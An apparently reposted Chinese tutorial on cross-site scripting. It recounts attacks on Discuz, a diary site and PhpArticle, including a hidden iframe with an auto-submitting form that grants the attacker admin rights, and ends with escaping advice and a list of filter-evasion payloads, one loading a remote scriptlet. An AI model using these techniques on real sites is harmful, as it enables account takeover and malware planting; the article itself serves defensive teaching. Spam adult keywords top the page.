久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

跨站腳本攻擊

 woshishenxiande 2011-05-13

跨站腳本攻擊-----為什么要過(guò)濾危險(xiǎn)字符串

不算前言的前言
好像已經(jīng)很久沒(méi)有寫過(guò)安全方面的文章了,,所謂安全圈子里面,,大家也許認(rèn)為玄貓消失了,不過(guò),,我想,,作為駭客的玄貓也許從來(lái)沒(méi)有出現(xiàn)過(guò)吧。沒(méi)錯(cuò)的,,我是玄貓,,如果前兩年你看過(guò)《黑客X檔案》或者《黑客手冊(cè)》這樣的民間安全雜志,那么你也許見過(guò)這個(gè)名字,。
或者,,很抱歉的,你的站點(diǎn)有時(shí)會(huì)出現(xiàn)過(guò)“玄貓啊玄貓……”這樣的提示框或者文字,,那么我很遺憾,,我寫的漏洞利用工具被人濫用到你的網(wǎng)站上了,藍(lán)色理想里的程序員,、站長(zhǎng)想必不少,,我在這里也向你道個(gè)歉。

什么是跨站腳本攻擊
OK,,我們就進(jìn)入正文吧,。按照慣例,我先給出“跨站腳本攻擊”的“官方定義”,。
跨站攻擊,,即Cross Site Script Execution(通常簡(jiǎn)寫為XSS)是指攻擊者利用網(wǎng)站程序?qū)τ脩糨斎脒^(guò)濾不足,,輸入可以顯示在頁(yè)面上對(duì)其他用戶造成影響的HTML代碼,,從而盜取用 戶資料、利用用戶身份進(jìn)行某種動(dòng)作或者對(duì)訪問(wèn)者進(jìn)行病毒侵害的一種攻擊方式,。
在這個(gè)定義里面提到了三個(gè)要點(diǎn):
第一,、       What-為什么會(huì)產(chǎn)生跨站腳本攻擊,。
跨站腳本攻擊的產(chǎn)生是因?yàn)槌绦騿T在寫程序時(shí)候的考慮不周,當(dāng)然,,也可能是根本沒(méi)有考慮,。安全方面有一句著名的話叫做,“永遠(yuǎn)也不要相信用戶的輸入”,??吹? 這里,作為普通用戶的你,,先別急著鄙視我對(duì)你的不信任,,作為可用性專家的你,也別急著罵我不重視用戶,,作為程序員的你,,要去用涼水洗把臉,精神一下了,。
你在以前寫程序時(shí),,有沒(méi)有考慮,用戶所輸入的內(nèi)容顯示在網(wǎng)站上時(shí),,會(huì)不會(huì)有什么問(wèn)題呢,。
什么問(wèn)題?先拋開我這里的主題跨站腳本攻擊而言,,你有沒(méi)有發(fā)現(xiàn),,有時(shí)用戶輸入的內(nèi)容,導(dǎo)致了你的頁(yè)面變形,?這時(shí)你除了說(shuō),,Oh,這個(gè)用戶真麻煩之外,是否還考慮,,為什么會(huì)變形呢,。
我們舉個(gè)實(shí)例來(lái)說(shuō),你寫了一個(gè)頁(yè)面,,用來(lái)顯示用戶輸入的文章,,這里顯示用戶部分的地方是這樣的:
<div id="content"><%=sArticleContent'這里我們假設(shè)這個(gè)變量是從數(shù)據(jù)庫(kù)里面取出的用戶輸入的文章內(nèi)容%></div>
如果用戶輸入的都是像我這篇文章一樣的普通文字,那么自然是沒(méi)有問(wèn)題,,啊,,可是如果出現(xiàn)一個(gè)二把刀的用戶,他一定想寫一些html代碼來(lái)裝飾他的文章,,而 恰恰他只寫了<h1>,,忘記了后面的閉合標(biāo)簽,那么會(huì)出現(xiàn)什么……哈哈,你的頁(yè)面的后面部分全部被<h1>了,,字體大的沒(méi)法看,。 之前你精心設(shè)計(jì)的頁(yè)面全部亂成了一鍋粥。
在這個(gè)實(shí)例里面,,用戶輸入的只是普通的html字符,,那么,他如果輸入javascript字符呢,,恩,,如果我是一個(gè)壞壞的喜歡搞惡作劇的用戶,我也許會(huì) 輸入:<script>while(1==1){alert('這個(gè)站長(zhǎng)是個(gè)笨蛋');}</script>,。那么會(huì)發(fā)生什么? 對(duì)!在這個(gè)頁(yè)面被訪問(wèn)的時(shí)候,,你無(wú)辜的訪問(wèn)者會(huì)發(fā)現(xiàn),無(wú)論他怎么按“確定”,,那個(gè)頑固的提示框都會(huì)喋喋不休,。
簡(jiǎn)單來(lái)說(shuō),這就是一次跨站腳本攻擊了,。
在這次攻擊里面,,我,這個(gè)壞壞的喜歡惡作劇的用戶,,利用你,,這個(gè)永遠(yuǎn)相信用戶輸入的程序員忘記過(guò)濾我所輸入的可能對(duì)其他訪問(wèn)者造成危害的代碼內(nèi)容這個(gè)缺陷,成功的進(jìn)行了一次惡作劇—跨站腳本攻擊,。
第二,、       Who-誰(shuí)可以利用跨站腳本攻擊。
關(guān)于“who”這個(gè)問(wèn)題,,我想在上面的內(nèi)容里,,你大致了解了,這里我再嘮叨一下,,不僅僅是喜歡惡作劇的用戶可以用,,甚至有時(shí)普通的用戶,輸入時(shí)不小心的也會(huì)導(dǎo)致你頁(yè)面出現(xiàn)一些未期料的問(wèn)題,。
當(dāng)然,,我們最不希望的就是,有駭客利用這個(gè)漏洞了,,至于他能夠利用到什么程度,,還請(qǐng)你往下面拉一點(diǎn),看“跨站腳本攻擊有什么危害”,。
第三,、       How much-跨站腳本攻擊有什么危害,。
所謂安全圈子里的某些“黑客”往往對(duì)跨站漏洞嗤之以鼻,認(rèn)為那不過(guò)是在客戶那里玩玩就算了,,作為被稱之為跨站王的某魚同學(xué)(現(xiàn)在已然是Discuz公司的系統(tǒng)安全工程師了)的徒弟我來(lái)說(shuō),,我認(rèn)為這是非常幼稚的一種看法,。
說(shuō)小了,,跨站攻擊可以簡(jiǎn)單的就使你的頁(yè)面布局混亂不堪,而更嚴(yán)重的是,,既然駭客可以寫入html代碼,,那他簡(jiǎn)直可以干你想到的或者你想不到的任何事情了。 譬如……<iframe src="網(wǎng)頁(yè)木馬地址" width="0" height="0"></iframe>就可以非常容易的在你的網(wǎng)站上插入指向一個(gè)網(wǎng)頁(yè)木馬的隱藏的框架了(通常被稱之為“掛 馬”),。
作為網(wǎng)站管理員的你,,如果簡(jiǎn)單的認(rèn)為,跨站漏洞只可以對(duì)訪問(wèn)者造成侵害的話,,那就錯(cuò)了,。別忘記,在訪問(wèn)帶有受到跨站攻擊的網(wǎng)頁(yè)時(shí),,你的身份也是普通用戶,, 一方面,如果你中了他放的木馬,,那么從你機(jī)子上就可以輕易的下載到ftp軟件中的密碼信息,,另一方面,如果這個(gè)時(shí)候你已經(jīng)登錄了管理,,那么他是不是可以構(gòu) 造一個(gè)管理頁(yè)面,,并且以你的身份,讓你不知不覺的操作呢,,這是完全可能的,,并且是經(jīng)常出現(xiàn)的。
構(gòu)建跨站腳本攻擊
哈哈,,如果你是一個(gè)壞壞的用戶,,那么看到這里你一定很開心了,你認(rèn)為自己將學(xué)會(huì)如何做一名駭客,,不過(guò)我只能很遺憾的告訴你,,想都不要想,呵呵,,重復(fù)我經(jīng)常 說(shuō)的一句話,,以下內(nèi)容禁止心智不成熟的未成年人觀看,其中涉及的內(nèi)容僅作為教學(xué)和研究使用,,嚴(yán)禁利用這里所講授的知識(shí)進(jìn)行不法侵害行為,。
在這里我拿出以前做的幾個(gè)案例筆記(全文大多數(shù)都發(fā)表在了《黑客X檔案》中),,在案例中進(jìn)行分析說(shuō)明,大家不要小看這些案例,,這些案例中大多數(shù)都是網(wǎng)上有大量網(wǎng)站使用的知名程序,,可想而知危險(xiǎn)之大。
案例一:Discuz4.1.0論壇出現(xiàn)的WAP跨站漏洞
Discuz論壇允許使用手機(jī)訪問(wèn)論壇wap目錄來(lái)訪問(wèn)論壇,,用wap方式訪問(wèn)論壇時(shí)可以查看帖子和發(fā)送帖子,、短消息等,但是其服務(wù)器端的處理過(guò)程并沒(méi)有過(guò)濾wap方式發(fā)帖的標(biāo)題,,使得我們可以輸入特殊構(gòu)造的字符而引發(fā)跨站攻擊,。
作為程序員的你認(rèn)為用戶在使用手機(jī)WAP方式訪問(wèn)論壇時(shí)候就不可能寫入惡意代碼從而不能攻擊而不對(duì)WAP部分進(jìn)行處理嗎?那你就錯(cuò)了,,實(shí)際上,,有很多軟件 可以模擬訪問(wèn)WAP,Opera就可以,,在PC上使用某些特定的客戶端軟件(WinWAP,、Opera)等,訪問(wèn)WAP網(wǎng)站,,即可以輸入跨站字符,,這里可 以在標(biāo)題中輸入<script>alert('XSS')</script>,當(dāng)PC用戶訪問(wèn)論壇時(shí),,就會(huì)觸發(fā)這些代碼,。
從這個(gè)案例中,你應(yīng)當(dāng)學(xué)到,,不要認(rèn)為客戶端的限制就可以疏忽對(duì)用戶輸入的檢測(cè)和過(guò)濾了,,只要可以通過(guò)HTTP協(xié)議訪問(wèn),那么無(wú)論客戶端是什么,,有什么限制,,都是不安全的。
案例二:“飛騁”網(wǎng)站日記跨站漏洞,。
首先來(lái)看飛騁日記服務(wù),,一般來(lái)說(shuō)對(duì)于像日記這種一個(gè)人寫,N多人看的東東,,我們要考慮的就是XSS跨站漏洞了,。在下面的內(nèi)容中,我們?cè)囍么? 碼<script>alert(“玄貓啊玄貓,,玄貓要高考咯”)</script>來(lái)測(cè)試能不能在頁(yè)面上運(yùn)行我們的 Javascript腳本,。
我們打開一個(gè)寫日記的頁(yè)面,先測(cè)試內(nèi)容能不能寫跨站腳本,,日記標(biāo)題隨便寫,,內(nèi)容寫個(gè)<script>alert(“玄貓啊玄貓,,玄貓要高考 咯”)</script>,然后去看看,,不難看到,,我們寫的script被替換成了s cript,(圖一)中間多了個(gè)空格,,再來(lái)改變大小寫試試,,內(nèi)容寫<Script>alert(“玄貓啊玄貓,玄貓要高考 咯”)</script>,,還是不行,,看來(lái)要想個(gè)變通的方法了,,我們找找還有哪些是可以輸出的,,對(duì)了,標(biāo)題,,可是有的朋友會(huì)有疑問(wèn),,標(biāo)題就讓 寫10個(gè)字,不夠啊,,我們?cè)賮?lái)把文件保存到本地,,研究form的驗(yàn)證:232行有個(gè)<FORM id=frmAnnounce name=frmAnnounce onsubmit="return checkform();"的代碼,不難看出,,這個(gè)onsubmit觸發(fā)的函數(shù)就是檢查標(biāo)題字?jǐn)?shù)的代碼,,我們刪掉onsubmit="return checkform();",然后把a(bǔ)ction補(bǔ)全,,標(biāo)題內(nèi)填入<script>alert(“玄貓啊玄貓,,玄貓要高考 咯”)</script>,內(nèi)容隨便寫些東西,,提交,,在隨后刷新出的頁(yè)面里,優(yōu)雅得彈出了我們的對(duì)話框,,跨站成功,。

在這個(gè)案例中,首先進(jìn)行了最簡(jiǎn)單的測(cè)試內(nèi)容的輸入,,即彈出一個(gè)對(duì)話框,,而此時(shí)發(fā)現(xiàn)網(wǎng)站代碼對(duì)script進(jìn)行了過(guò)濾,這時(shí)再次嘗試Script,,如果程序 員僅簡(jiǎn)單的過(guò)濾了script時(shí),,則Script可能是可用的,但是最終發(fā)現(xiàn)還是不行,,那么則轉(zhuǎn)到標(biāo)題處,,顯然標(biāo)題處通過(guò)maxlength這個(gè)屬性限制 了文本框所能輸入的最長(zhǎng)字節(jié)數(shù),,并且使用js腳本來(lái)檢測(cè)了用戶的輸入,這些當(dāng)然都不成為問(wèn)題,,我們只要將頁(yè)面保存到本地,,就可以修改了,刪除 maxlength屬性和驗(yàn)證的js代碼后,,再提交即可,。
從這個(gè)案例中你應(yīng)當(dāng)學(xué)到:
1、       過(guò)濾危險(xiǎn)字符時(shí)候考慮字符是否可以以大寫變換的方式繞過(guò)驗(yàn)證
2,、       Js腳本檢測(cè)用戶輸入合法性是無(wú)效的,。
3、       用戶可能直接向服務(wù)器提交數(shù)據(jù),,并且這里我告訴你,,所謂防止外部提交的代碼是絕對(duì)無(wú)效的,那個(gè)方法是通過(guò)檢測(cè)HTTP_REFFER的HTTP頭來(lái)實(shí)現(xiàn)的,,而其實(shí)這個(gè)HTTP頭也是可以偽造的,。
案例三:PhpArticle2密碼輸入錯(cuò)誤記錄跨站漏洞PhpArticle是一款基于php+mysql的整站文 章系統(tǒng),頁(yè)面清爽,、速度快,,并且功能比較完善,尤其是后臺(tái)有個(gè)記錄別人嘗試登陸時(shí)輸入的錯(cuò)誤密碼的功能……比較實(shí)用……還可以偷窺別人都習(xí)慣用什么密碼 (一般人嘗試密碼的時(shí)候總是按照自己的習(xí)慣來(lái)嘗試別人的密碼),,但是我突然想到,,如果我們嘗試在錯(cuò)誤的用戶名或者密碼中輸入特殊字符呢……
進(jìn)入后臺(tái)登陸頁(yè)面,然后用戶名和密碼分別寫我們構(gòu)造的用于測(cè)試的跨站代碼,。
“用戶名”中填寫:
<script>alert("XSS")</script>
“密碼”中填寫:
<script>alert("XSS")</script>
然后我們用管理員的密碼去登陸后臺(tái),,查看“管理日志->非法登陸記錄”,這時(shí)彈出了第一個(gè)對(duì)話框,,點(diǎn)擊“確定”后又出現(xiàn)了第二個(gè)對(duì)話框,,看來(lái)這兩個(gè)地方是存在跨站漏洞的。
好的,,既然確定了有跨站漏洞,,我們來(lái)思考下應(yīng)該怎么利用比較能達(dá)到收益最大化……這里要來(lái)一個(gè)提升網(wǎng)站用戶權(quán)限的利用。
這里有必要先給不熟悉PhpArticle的朋友介紹下,,在后臺(tái)改管理員密碼的地方是要求填寫當(dāng)前密碼的,,所以我們是無(wú)法利用的,其他操作我也暫時(shí)沒(méi)有想出好的利用方法,,現(xiàn)在我們要做的就是把我們自己注冊(cè)的用戶添加到系統(tǒng)的管理員組中,,達(dá)到提升權(quán)限的目的。
當(dāng)我們可以在頁(yè)面插入任意代碼的時(shí)候,,我們其實(shí)有許多選擇,,譬如插入javascript腳本內(nèi)容,,當(dāng)限制提交字符數(shù)的時(shí)候我們可以插入 javascript腳本文件(<script src=""></script>這樣),還可以插入iframe在頁(yè)面中隱藏一個(gè)任意網(wǎng)頁(yè)(駭客用來(lái)掛馬),,這里我們的思路是利用管 理員登陸的身份來(lái)提升權(quán)限,,所以我們就模仿程序的用戶管理頁(yè)面,來(lái)仿造一個(gè)頁(yè)面,,并使用iframe的方法插入這里,。
好了,先來(lái)看如何構(gòu)造表單,。
在構(gòu)造表單之前我們要確定下這個(gè)表單是否允許外部提交,,我們以管理員身份登陸后,打開會(huì)員編輯這個(gè)頁(yè)面:http://www./admin/user.php?action=mod&userid=38,,然后將其另存到本地,,然后修改form控件的action屬性,打開后提交,,程序提示修改成功,,看來(lái)是允許外部提交的(其實(shí)也可以直接看代碼的……嘿嘿,,我不是懶嘛),。
因?yàn)橄覲A的頁(yè)面太不符合WEB標(biāo)準(zhǔn),做自動(dòng)提交的時(shí)候總是出現(xiàn)javascript錯(cuò)誤,,我們來(lái)自己構(gòu)造一個(gè)表單,,通過(guò)查看源代碼,我們可以構(gòu)造一個(gè)只 有幾個(gè)必填字段的表單,,然后在body標(biāo)簽后加屬性onLoad,值為javascript:document.forms[0].submit(),,即 當(dāng)頁(yè)面載入時(shí)自動(dòng)提交表單。
這里我們還有一個(gè)要注意的地方,,就是自己的userid,,在構(gòu)造表單的時(shí)候我們要用到這個(gè)值,怎么獲得userid呢,,我們需要登陸后在cookies里找pauserid的值,。
在這個(gè)案例中,我們?cè)跇?gòu)造跨站利用時(shí)候采取了一種十分“惡毒”的手段,,就是插入一個(gè)iframe指向我們自己的網(wǎng)頁(yè),,在這個(gè)網(wǎng)頁(yè)中,我們完整的復(fù)制了原始代碼中的表單部分,,并將某些內(nèi)容修改為我們需要進(jìn)行的操作,,最后再讓這個(gè)表單自動(dòng)提交。
如何防止跨站腳本攻擊
我想通過(guò)上面的內(nèi)容,,你已經(jīng)深切的領(lǐng)會(huì)到了,,跨站腳本攻擊的危害是非常大的,,那么,如何防止這個(gè)漏洞呢,。
最簡(jiǎn)單的辦法,,就是將用戶輸入的內(nèi)容進(jìn)行HTML轉(zhuǎn)義,這樣你不必考慮用戶輸入什么內(nèi)容,,內(nèi)容中有哪些危險(xiǎn)的字符需要過(guò)濾,,例如在ASP中,我們可以使用Server.HtmlEnCode()來(lái)轉(zhuǎn)義,,php中可以使用htmlspecialchars()這個(gè)函數(shù),。
但是,這種方法并不能稱為最優(yōu)解,,這其實(shí)是一種消極的方法,,因?yàn)橛脩糨斎氲膬?nèi)容可能有危險(xiǎn),那么就將其全部轉(zhuǎn)義,。而比較好的方法就是通過(guò)正則表達(dá)式來(lái)進(jìn)行 替換,,當(dāng)然,UBB代碼也是起到這個(gè)作用的,,程序員將HTML代碼禁用,,取而代之以約定的少量UBB來(lái)代替HTML,從而起到好的效果,。
這里由于篇幅原因,,我就不詳細(xì)列出各UBB函數(shù)的詳細(xì)內(nèi)容了,這里我列出一些常見的和很少人了解的跨站方法,,供你參考是否已經(jīng)對(duì)這些方式進(jìn)行了過(guò)濾,。
復(fù)制內(nèi)容到剪貼板
代碼:
<IMG SRC="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC=javascript:alert("XSS")>(采用HTML實(shí)體)
<IMG SRC=javascript:alert('XSS')>(使用utf8字符集)
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav ascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: (alert('XSS'));">(注意,使用是十分靈活的,,例如,,如果你過(guò)濾了 ,他還可以使用exp/**/resssion,,你過(guò)濾了/**/,,他還可以使用exp/*sometext*/ression)
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha./scriptlet.html"></OBJECT>

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,,不代表本站觀點(diǎn),。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,,謹(jǐn)防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類似文章 更多